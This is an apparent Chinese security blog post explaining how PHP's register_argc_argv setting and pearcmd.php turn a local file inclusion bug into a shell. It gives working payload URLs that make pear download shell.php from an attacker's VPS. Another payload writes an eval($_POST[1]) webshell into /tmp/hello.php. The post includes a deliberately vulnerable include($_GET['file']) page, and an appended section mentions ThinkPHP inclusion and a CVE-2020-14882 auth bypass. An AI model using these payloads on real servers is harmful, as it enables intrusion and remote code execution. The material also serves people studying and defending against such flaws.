pearcmd.php的妙用

本文介绍了如何利用pearcmd.php进行远程文件拉取,并结合文件包含漏洞获取shell的方法。详细探讨了register_argc_argv配置项的作用及其与pear的关系。

pearcmd.php的妙用

1. register_argc_argv

如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On

这个register_argc_argv能干什么呢?

cli模式下

简言之,可以通过$_SERVER[‘argv’]`获得命令行参数,其中

test.php

<?php
var_dump($_SERVER['argv']);
?>

测试

image-20211220192823112

多个参数

image-20211220192856947

WEB模式中

image-20211220193208559

注意其中是用+作为分隔符的,不是&

简单的利用

修改test.php

<?php

var_dump($_SERVER['argv']);
$a = $_SERVER['argv'];
$a[0]($a[1]);
?>

image-20211220193633488

2. pearcmd.php的神奇使用

p佬的分析:Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

image-20211220194003580

有一点不一样的地方,我复现的环境使用的是

ubuntu18.04
lamp
apt-get install  php-pear

我的pear存放的位置在/usr/bin/pear,pear是一个文件

image-20211220200509551

PEAR是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库
类似于composer,用于代码的下载与管理。

pearcmd.php的位置为/usr/share/php/pearcmd.php

image-20211220202211777

pear可以用来拉取远程的代码(注意:如果是php代码的话,注意不要被解析,下面举个例子)

pear install -R /tmp http://vps/shell.php

假设你的vps上在/var/www/html中,有一个shell.php

<?php
echo "aaa";
?>

如果你远程服务器中/var/www/html中php代码可以被解析,那么你使用pear拉取到的shell.php就是

aaa

如果远程服务器上的php没有被解析没有被解析,拉取到的shell.php就是

<?php
echo "aaa";
?>

具体的例子如下(因为不想被解析,所以vps上就只安装了apache2),可以看到我们的shell.php被拉取到了/tmp/tmp/pear/download中

image-20211220195829498

3. register_argc_argv和pear的关系

pear文件

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/php"
    INCARG="-d include_path=/usr/share/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

需要注意的是:当执行了pear后,会将$_SERVER[‘argv’]当作参数执行!如果存在文件包含漏洞的话,就可以包含pearcmd.php,拉取远程服务器上的文件到靶机,再通过文件包含获取shell。

4. payload

靶机可出网

测试:

靶机test.php如下,需要拉取远程服务器的shell.php到靶机的/tmp目录下

<?php
include($_GET['file']);
?>

使用的payload

http://localhost/test.php?file=/usr/share/php/pearcmd.php&+install+-R+/tmp+http://vps/shell.php

image-20211220202650615

然后文件包含/tmp/tmp/pear/download/shell.php同时传参cmd即可

靶机不可出网时

image-20211220204940372

/test.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

根据p佬的博客中写的

image-20211220204434370

写一句话木马进hello.php

/test.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1])?>+/tmp/hello.php

getshell

image-20211220204725797

参考链接

  1. P佬的Docker PHP裸文件本地包含综述
  2. 利用pearcmd.php从LFI到getshell
  3. 利用pearcmd.php从LFI到getshell
### 关于 `pearcmd` 文件包含的详细说明 #### PEARCMD 的默认路径与自定义安装路径 在 Docker 环境下,`pearcmd` 默认被安装在 `/usr/local/lib/php/pearcmd.php`。然而,在某些实验环境中,如果自行安装了 `pearcmd`,其路径可能会有所不同,例如位于 `/usr/share/php/pearcmd.php`[^1]。 #### ThinkPHP 中基于 `pearcmd` 的文件包含漏洞风险 当 ThinkPHP 开启多语言支持时,可能存在一种文件包含漏洞。这种情况下,攻击者能够通过 GET 请求、HTTP 头部或者 Cookie 参数传递特殊构造的数据来触发目录遍历并最终达到远程代码执行 (RCE) 的目的。具体而言,利用 `pearcmd.php` 可能成为实施此类攻击的一个途径之一[^2]。 #### PHP 文件包含机制概述 PHP 提供了几种用于动态加载其他脚本的方法,其中就包括 `include()` 和 `include_once()` 函数。这些函数允许开发者在一个脚本运行期间引入另一个文件的内容;值得注意的是,即使发生错误(比如找不到指定文件),程序仍将继续执行而不会终止整个流程[^3]。 #### 利用 URL 编码绕过安全限制的例子 对于一些 Web 应用程序中的认证保护措施,可以尝试使用特定模式的 URL 编码字符串来进行绕过操作。例如,针对某个已知的安全缺陷 CVE-2020-14882,可以通过精心设计的 URL 地址访问受控资源而不需提供有效的凭证信息。这表明即使是看似简单的输入验证也可能存在潜在的风险点[^4]。 #### 数据处理方式及其安全性影响 发送 HTTP 请求时所携带的数据将以最原始的形式展示给服务器端解析器。这意味着如果不加任何过滤直接输出含有 PHP 语法结构的信息,则会被当作可执行指令对待而非纯文本显示出来。因此,理解如何正确运用像 `php://filter` 协议这样的特性至关重要,因为它可以直接关系到应用程序的整体安全性[^5]。 ```bash # 示例:检查当前系统上是否存在 pearcmd 并查看其位置 which pearcmd || echo "PearCmd not found" find / -name 'pearcmd*' 2>/dev/null | grep '.php$' ```
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值